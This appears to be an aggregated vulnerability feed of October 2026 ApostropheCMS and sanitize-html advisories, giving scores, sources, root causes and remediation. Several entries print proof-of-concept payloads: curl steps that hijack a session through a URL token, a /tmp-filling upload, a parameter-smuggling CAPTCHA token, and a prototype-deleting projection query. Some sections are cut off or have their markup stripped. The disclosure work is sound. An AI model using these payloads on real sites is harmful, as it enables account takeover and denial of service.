A remote unauthenticated attacker can fill the partition used by the operating system temporary directory. Once that partition is exhausted, Apostrophe and unrelated services on the same host may fail to upload files, create temporary data, or continue operating normally.

The attack requires only repeated HTTP requests and the stored files remain after each rejected response.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Cross-domain session token in URL confers session takeover
https://kevwire.com/record/CVE-2026-113669
ApostropheCMS: Cross-domain session token in URL confers session takeover (Oct 20, 2026).
**Summary**
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.

**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.
CVSS 5.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-hhvr-8m24-qqr3).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113669&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-hhvr-8m24-qqr3: https://github.com/advisories/GHSA-hhvr-8m24-qqr3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113669&date=2026-10-25
**Summary**
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.

**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.

**PoC**
```
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
 --data '{"username":"admin","password":"adminpassword","session":true}' \
 http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
```

**Impact**
Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.

**Remediation** — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
@apostrophecms/passport-bridge: < 1.6.1
Action: GitHub lists first patched versions: apostrophe: 4.33.0; @apostrophecms/passport-bridge: 1.6.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS
https://kevwire.com/record/CVE-2026-113656
ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS (Oct 20, 2026).
**Summary**
The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.

**Details**
`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.
CVSS 5.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-89mh-mm8c-mv7f).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113656&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-89mh-mm8c-mv7f: https://github.com/advisories/GHSA-89mh-mm8c-mv7f
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113656&date=2026-10-25
**Summary**
The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.

**Details**
`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.

**PoC**
```
$ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
 -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
 DURING transfer: used=1148668
 still transferring: used=1226936 # +121MB mid-transfer on disk
 http=500 time=1.78s sent=209715411B # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.
```

**Impact**
Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup).

**Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.

Affected package ranges reported by GitHub:
@apostrophecms/form: < 1.5.5
Action: GitHub lists first patched versions: @apostrophecms/form: 1.5.5. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: CAPTCHA response token not URL-encoded
https://kevwire.com/record/CVE-2026-113667
ApostropheCMS: CAPTCHA response token not URL-encoded (Oct 20, 2026).
**Summary**
Form and login CAPTCHA verification interpolate the user-supplied widget token unencoded into the server-side verification URL/body, allowing a crafted token to inject query parameters into the reCAPTCHA/hCaptcha verify request.

**Details**
- `packages/form/lib/recaptcha.js:39` — `recaptchaUri = 'https://www.google.com/recaptcha/api/siteverify?secret=${recaptchaSecret}&response=${input.recaptcha}'`
- `packages/login-recaptcha/index.js:44` — same pattern for login
- `packages/login-hcaptcha/index.js:47` — `body: 'response=${token}&secret=${secret}'`
CVSS 5.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-44qr-rrjg-2cqq).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113667&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-44qr-rrjg-2cqq: https://github.com/advisories/GHSA-44qr-rrjg-2cqq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113667&date=2026-10-25
**Summary**
Form and login CAPTCHA verification interpolate the user-supplied widget token unencoded into the server-side verification URL/body, allowing a crafted token to inject query parameters into the reCAPTCHA/hCaptcha verify request.

**Details**
- `packages/form/lib/recaptcha.js:39` — `recaptchaUri = 'https://www.google.com/recaptcha/api/siteverify?secret=${recaptchaSecret}&response=${input.recaptcha}'`
- `packages/login-recaptcha/index.js:44` — same pattern for login
- `packages/login-hcaptcha/index.js:47` — `body: 'response=${token}&secret=${secret}'`

**PoC**
```
input.recaptcha = 'attacker_token&secret=INJECTED_SECRET&something=1'
→ resulting verify URL:
 https://www.google.com/recaptcha/api/siteverify?secret= &response=attacker_token&secret=INJECTED_SECRET&something=1
# (replicated exactly from recaptcha.js:39)
```

**Impact**
Low: a crafted token smuggles extra `key=value` pairs (`secret`, extra `response`) into the outbound verify call, forcing verification failures (DoS of the captcha gate and of captcha-gated login/form flows) and enabling automated bypass probing; no secret exfiltration.

**Remediation** — Build the verify request with `URL` + `searchParams` (or `encodeURIComponent` on both `secret` and `response`), and validate the token against `^[A-Za-z0-9._-]{1,2048}$` before use.

Affected package ranges reported by GitHub:
@apostrophecms/form: < 1.5.5
@apostrophecms/login-recaptcha: < 1.2.1
@apostrophecms/login-hcaptcha: < 1.3.0
Action: GitHub lists first patched versions: @apostrophecms/form: 1.5.5; @apostrophecms/login-recaptcha: 1.2.1; @apostrophecms/login-hcaptcha: 1.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Same-parent page reorder in @apostrophecms/page move() re-ranks a restricted parent's children without create authorization
https://kevwire.com/record/CVE-2026-113655
ApostropheCMS: Same-parent page reorder in @apostrophecms/page move() re-ranks a restricted parent's children without create authorization (Oct 20, 2026).
ApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (the core `@apostrophecms/archive-page` does), so a project can define restricted subtrees that only higher-privileged roles may create or edit within. The `move()` operation in the `@apostrophecms/page` module is supposed to enforce that a page may only be moved into a parent the actor has `create` rights over, the same boundary the page-insert route enforces. The destination-parent authorization check in `move()` is gated on the move being a cross-parent move (`oldParent._id !== parent._id`). A same-parent reorder (repositioning a page among its existing siblings under the same parent) short-circuits that check entirely, so an authenticated low-privileged editor who holds edit rights on one ordinary page nested under a restricted parent can reposition it and, in doing so, trigger an unguarded bulk database write that re-ranks the restricted parent's other children, documents the editor has no authorization to modify.

The security invariant is that mutating the sibling ordering of a restricted parent's children requires `create` authority on that parent, which is exactly what the page-insert path enforces (`insert()` throws `forbidden` when `!parent._create` before it nudges peers). The destination authorization guard in `move()` restores this boundary only for cross-parent moves: its leading conjunct is `(oldParent._id !== parent._id)`. For a same-parent reorder both `oldParent` and `parent` are the identical restricted parent, so the conjunct is `false`, the whole conditional short-circuits, and the `parent._create` requirement is never evaluated. The only surviving gate on the path is `moved._edit`, which the editor legitimately holds for the ordinary page being moved. The subsequent sibling re-rank is issued as a raw MongoDB `updateMany` that never passes through the per-document `beforeUpdate` edit check, so the restricted siblings are modified with no authorization at all.
CVSS 4.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-2jrp-qc93-h2j8).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113655&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-2jrp-qc93-h2j8: https://github.com/advisories/GHSA-2jrp-qc93-h2j8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113655&date=2026-10-25
## Summary

ApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (the core `@apostrophecms/archive-page` does), so a project can define restricted subtrees that only higher-privileged roles may create or edit within. The `move()` operation in the `@apostrophecms/page` module is supposed to enforce that a page may only be moved into a parent the actor has `create` rights over, the same boundary the page-insert route enforces. The destination-parent authorization check in `move()` is gated on the move being a cross-parent move (`oldParent._id !== parent._id`). A same-parent reorder (repositioning a page among its existing siblings under the same parent) short-circuits that check entirely, so an authenticated low-privileged editor who holds edit rights on one ordinary page nested under a restricted parent can reposition it and, in doing so, trigger an unguarded bulk database write that re-ranks the restricted parent's other children, documents the editor has no authorization to modify.

## Root Cause

The security invariant is that mutating the sibling ordering of a restricted parent's children requires `create` authority on that parent, which is exactly what the page-insert path enforces (`insert()` throws `forbidden` when `!parent._create` before it nudges peers). The destination authorization guard in `move()` restores this boundary only for cross-parent moves: its leading conjunct is `(oldParent._id !== parent._id)`. For a same-parent reorder both `oldParent` and `parent` are the identical restricted parent, so the conjunct is `false`, the whole conditional short-circuits, and the `parent._create` requirement is never evaluated. The only surviving gate on the path is `moved._edit`, which the editor legitimately holds for the ordinary page being moved. The subsequent sibling re-rank is issued as a raw MongoDB `updateMany` that never passes through the per-document `beforeUpdate` edit check, so the restricted siblings are modified with no authorization at all.

```text
Affected function: @apostrophecms/page move() (inner body)
 packages/apostrophe/modules/@apostrophecms/page/index.js:1684-1691
 if (
 (oldParent._id !== parent._id) && // false for a same-parent reorder -> whole check skipped
 (parent.type !== '@apostrophecms/archive-page') &&
 (!parent._create) &&
 !(oldParent.type === '@apostrophecms/archive-page' && parent._edit)
 ) {
 throw self.apos.error('forbidden');
 }

Unguarded sink: nudgeNewPeers()
 packages/apostrophe/modules/@apostrophecms/page/index.js:1781-1803
 await self.apos.doc.db.updateMany(
 { path: matchDescendants(parent), level: parent.level + 1,
 aposLocale: { $in: [ draft, published ] }, rank: { $gte: rank } },
 { $inc: { rank: 1 } }); // no permission clause; bypasses beforeUpdate

Contrasting correct boundary: insert()
 packages/apostrophe/modules/@apostrophecms/page/index.js:1436-1439
 if (!parent._create) { throw self.apos.error('forbidden'); } // enforced for every position
```

## Impact

The attacker is an authenticated low-privileged user, an editor (or a contributor operating in draft mode), who holds edit rights on at least one ordinary page that is nested as a direct child of a restricted-type parent. No admin rights and no special tokens are required. Authorization in this CMS is resolved per page type, not per subtree: a page's editability is judged by its own type's `editRole`, so an ordinary `public-page` child can be editable by an editor even though its restricted `secret-page`-type parent (declaring `editRole: admin`) is not. Exploiting the gap, the editor can persistently alter the `rank` (sibling ordering, which drives navigation and menu order) of the restricted parent's other children, documents on which the editor holds no edit, create, publish, or delete authority. Repeating the reposition monotonically inflates those siblings' ranks. This is an integrity and authorization-boundary violation (CWE-862 / CWE-639) confined to sibling ordering; it does not disclose restricted field contents (confidentiality is unaffected) and it does not affect availability. The precondition (an editor-editable page already nested under a restricted parent) is a non-default tree state that an administrator establishes, or that arises from configuration drift when a page type gains a restricting `editRole` after editable children were already placed beneath it.

## Proof of Concept

`Dependencies: Node.js and a local MongoDB instance. The reproduction uses ApostropheCMS's own test harness to drive the real apos.page.move() code path with a non-admin editor request. No fresh end-to-end run was performed in the review environment (no MongoDB available); the chain was verified against source, and the sink behavior is independently corroborated by the CVE-2026-63669 advisory's own description and its cross-parent-only regression test.`

1. Configure a restricted page type `secret-page` with `editRole: 'admin'` and `publishRole: 'admin'`, and an ordinary type `public-page` with no role restriction.
2. As an admin, create a `secret-page` section under home, then create two `secret-page` children beneath it (the pre-existing restricted siblings), and place one editor-editable `public-page` as a further child of the secret section (the non-default nesting precondition).
3. As a non-admin editor, confirm the editor lacks `_create`/`_edit` on the secret section, then reposition the editable `public-page` among its siblings under the same secret parent.

```javascript
// Same-parent reorder under a restricted parent, driven as a non-admin editor.
// The move must be forbidden but is not; the restricted siblings are re-ranked.
const editorReq = apos.task.getReq({
 role: 'editor',
 user: { _id: 'editor-user', title: 'Editor', role: 'editor' }
});

// `mine` is an editor-editable public-page already nested under the admin-only `secret` section.
// `secretChild` is a pre-existing admin-only sibling under the same `secret` pa

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service
https://kevwire.com/record/CVE-2026-113666
ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service (Oct 20, 2026).
`@apostrophecms/db-connect` ships an in-memory MongoDB emulation used by its SQLite, PostgreSQL, and multipostgres adapters. Its `unsetNestedField` helper walks an attacker-controlled dotted field path with no segment validation and calls `delete` on the resolved property. A low-privileged authenticated user (any role holding `view-draft`, which every editor and contributor has; reduced to any logged-in user when `guestApiAccess` is enabled) can send a piece-type REST GET request whose `project` query builder contains an exclusion key such as `constructor.prototype.hasOwnProperty`. On a SQLite or PostgreSQL adapter this key reaches `unsetNestedField`, which resolves `Object.prototype` and deletes a shared runtime method. Because that method is shared across the whole Node process, the deletion breaks request handling for every tenant and user until the process is restarted, giving a single request a persistent denial of service.

The projection query builder laundens only projection values, never projection keys, so an arbitrary dotted key survives to the database layer. On the SQLite and PostgreSQL adapters an exclusion projection is applied in JavaScript by `applyProjection`, which for each excluded field calls `unsetNestedField(result, field)`. `unsetNestedField` splits the field on `.` and walks the resulting segments with no guard: unlike its sibling `setNestedField`, it does not even block a literal `__proto__`, and neither helper blocks `constructor` or `prototype`. Because the working object is a plain object produced by `JSON.parse(JSON.stringify(doc))`, its `constructor` resolves to the global `Object`, so a path of `constructor.prototype. ` reaches the shared `Object.prototype` and deletes a core, configurable method. The violated invariant is that untrusted input must never be able to traverse into and mutate shared prototype objects.
CVSS 7.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113666).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113666&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-j5rq-xfvr-p969: https://github.com/advisories/GHSA-j5rq-xfvr-p969
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113666: https://nvd.nist.gov/vuln/detail/CVE-2026-113666
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113666&date=2026-10-25
## Summary

`@apostrophecms/db-connect` ships an in-memory MongoDB emulation used by its SQLite, PostgreSQL, and multipostgres adapters. Its `unsetNestedField` helper walks an attacker-controlled dotted field path with no segment validation and calls `delete` on the resolved property. A low-privileged authenticated user (any role holding `view-draft`, which every editor and contributor has; reduced to any logged-in user when `guestApiAccess` is enabled) can send a piece-type REST GET request whose `project` query builder contains an exclusion key such as `constructor.prototype.hasOwnProperty`. On a SQLite or PostgreSQL adapter this key reaches `unsetNestedField`, which resolves `Object.prototype` and deletes a shared runtime method. Because that method is shared across the whole Node process, the deletion breaks request handling for every tenant and user until the process is restarted, giving a single request a persistent denial of service.

## Root Cause

The projection query builder laundens only projection values, never projection keys, so an arbitrary dotted key survives to the database layer. On the SQLite and PostgreSQL adapters an exclusion projection is applied in JavaScript by `applyProjection`, which for each excluded field calls `unsetNestedField(result, field)`. `unsetNestedField` splits the field on `.` and walks the resulting segments with no guard: unlike its sibling `setNestedField`, it does not even block a literal `__proto__`, and neither helper blocks `constructor` or `prototype`. Because the working object is a plain object produced by `JSON.parse(JSON.stringify(doc))`, its `constructor` resolves to the global `Object`, so a path of `constructor.prototype. ` reaches the shared `Object.prototype` and deletes a core, configurable method. The violated invariant is that untrusted input must never be able to traverse into and mutate shared prototype objects.

```text
Affected functions (repository-relative paths):
- unsetNestedField packages/db-connect/lib/shared.js:119-129 (no segment guard; delete on resolved property)
- applyProjection packages/db-connect/lib/shared.js:164-216 (exclusion branch calls unsetNestedField per excluded key)
Reachability driver (consumer on a SQL adapter):
- project.launder / project.finalize packages/apostrophe/modules/@apostrophecms/doc-type/index.js:2003-2103
- getRestQuery packages/apostrophe/modules/@apostrophecms/piece-type/index.js:1139-1157
- SQLite adapter applyProjection call packages/db-connect/adapters/sqlite.js:906,980
```

## Impact

Prerequisites: an authenticated account holding `view-draft` (every editing role; any logged-in user when `guestApiAccess: true`), and a consumer configured to use a SQLite, PostgreSQL, or multipostgres adapter. The default `mongodb` adapter hands the projection to the real MongoDB driver and is not affected. With those conditions, a single crafted GET request deletes an attacker-chosen shared prototype method (for example `Object.prototype.hasOwnProperty`, `toString`, or an `Array.prototype` member). The demonstrated capability is a persistent, process-wide denial of service: after the deletion, ordinary calls such as `obj.hasOwnProperty(...)` throw across Apostrophe, its dependencies, and the database driver, so the affected Node process cannot service requests for any user until it is restarted. The attacker chooses which member to remove, and the corruption of shared runtime state persists for the life of the process.

## Proof of Concept

`The finding was reproduced by executing the shipped helper directly against the published db-connect source; a live consumer requires a SQLite or PostgreSQL adapter, an authenticated view-draft session, and at least one matching document.`

1. Authenticate as any user with `view-draft` on a site whose database adapter is `sqlite`, `postgres`, or `multipostgres`.
2. Issue a piece-type REST read with an exclusion projection whose key targets a shared prototype method.
3. Observe that subsequent requests fail process-wide because the shared method was deleted.

```text
GET /api/v1/@apostrophecms/article?project[constructor.prototype.hasOwnProperty]=0
Cookie: 
```

```text
safe benign exclusion {title:0} leaves Object.prototype.hasOwnProperty intact
VULNERABLE exclusion projection deleted Object.prototype.hasOwnProperty (callableBefore=true, brokeEveryObject=true)
VULNERABLE exclusion projection deleted an arbitrary Object.prototype method (__pocMarker)
```

## Attack Chain

1. **Exposure:** An authenticated `view-draft` user calls the piece-type REST GET endpoint `GET /api/v1/@apostrophecms/ `, which is reachable by any editing role.
2. **Control:** The query string `project[constructor.prototype.hasOwnProperty]=0` is parsed by `qs` (with `allowDots` off) into a single own key with literal dots, `{ 'constructor.prototype.hasOwnProperty': '0' }`.
3. **Path:** `getRestQuery` applies the query builders first; `project.launder` copies the key verbatim and coerces only the value to `false`; `project.finalize` skips the falsy value with `if (!val) continue` and preserves the key; the cursor stores it as the projection.
4. **Guard:** The `publicApiProjection` override that would discard the attacker projection runs only when `canAccessApi(req)` is false, so it is skipped for the authenticated caller; no key allowlist, segment check, or prototype guard exists anywhere on the path.
5. **Primitive:** On the SQLite or PostgreSQL adapter, `applyProjection` takes the exclusion branch and calls `unsetNestedField(result, 'constructor.prototype.hasOwnProperty')`, which resolves `Object.prototype` and executes `delete Object.prototype.hasOwnProperty`.
6. **Result:** A shared prototype method is removed for the entire Node process, so request handling throws for all users and tenants until restart.

## Bypass Evidence

The relevant protections were examined individually and none blocks this path. The projection `launder` (packages/apostrophe/modules/@apostrophecms/doc-type/index.j

Affected package ranges reported by GitHub:
@apostrophecms/db-connect: < 1.1.0
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: @apostrophecms/db-connect: 1.1.0; apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS sanitize-html: nonTextTags discard region ends early on an implied close, letting <noscript> content render
https://kevwire.com/record/CVE-2026-113654
ApostropheCMS sanitize-html: nonTextTags discard region ends early on an implied close, letting <noscript> content render (Oct 20, 2026).
`sanitize-html` discards the *content* of every element in `nonTextTags`. It delimits that region
using htmlparser2's close events, and ignores the `isImplied` flag htmlparser2 passes it. Closing a
still-open **ancestor** from inside a ` ` makes htmlparser2 unwind its stack past the
`noscript`; the synthetic implied close it emits on the way ends the discard region early, and
everything after it is treated as ordinary body content.

A browser with scripting enabled parses ` ` content as **raw text**, so the same markup
renders as inert text there. The sanitizer therefore emits elements the page itself would not have.
CVSS 5.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-x3q4-9hxx-gx8m).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113654&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-x3q4-9hxx-gx8m: https://github.com/advisories/GHSA-x3q4-9hxx-gx8m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113654&date=2026-10-25
## Summary

`sanitize-html` discards the *content* of every element in `nonTextTags`. It delimits that region
using htmlparser2's close events, and ignores the `isImplied` flag htmlparser2 passes it. Closing a
still-open **ancestor** from inside a ` ` makes htmlparser2 unwind its stack past the
`noscript`; the synthetic implied close it emits on the way ends the discard region early, and
everything after it is treated as ordinary body content.

A browser with scripting enabled parses ` ` content as **raw text**, so the same markup
renders as inert text there. The sanitizer therefore emits elements the page itself would not have.

## Reproduction

```js
const sanitizeHtml = require("sanitize-html");

sanitizeHtml(' 

 ', {
 allowedTags: ["div", "img"],
 allowedAttributes: { img: ["src"] },
 nonTextTags: ["script", "style", "textarea", "option", "noscript"],
});
// => ' 

 '
```

Chrome, given the same input, renders **no** ` ` — the whole payload is raw text inside the
unclosed ` `. Verified with Playwright, `srcdoc` into an iframe so the scripting flag is on.

A ` Hi

 ]]> Reset your password 
```

htmlparser2 runs a CDATA token to `]]>`; Chrome ends a bogus comment at the first `>`, so the
` ` after it is real to the browser and invisible to the parser.

## Where the behaviour is

`index.js`:

- `:154` — `nonTextTagsArray` (the default list, `['script','style','textarea','option','xmp']`).
- `:638` — `onclosetag: function (name, isImplied)` — receives the flag.
- `:644` — `skipTextDepth--` — decrements without consulting `isImplied`.

## Suggested fix

Do not end a discard region on an implied close. htmlparser2 already distinguishes them; the flag
is passed and discarded. Something close to:

```js
onclosetag: function (name, isImplied) {
 if (skipText) {
 if (isImplied) return; // an implied close must not end the region
 skipTextDepth--;
 …
```

Affected package ranges reported by GitHub:
sanitize-html: < 2.18.0
Action: GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.
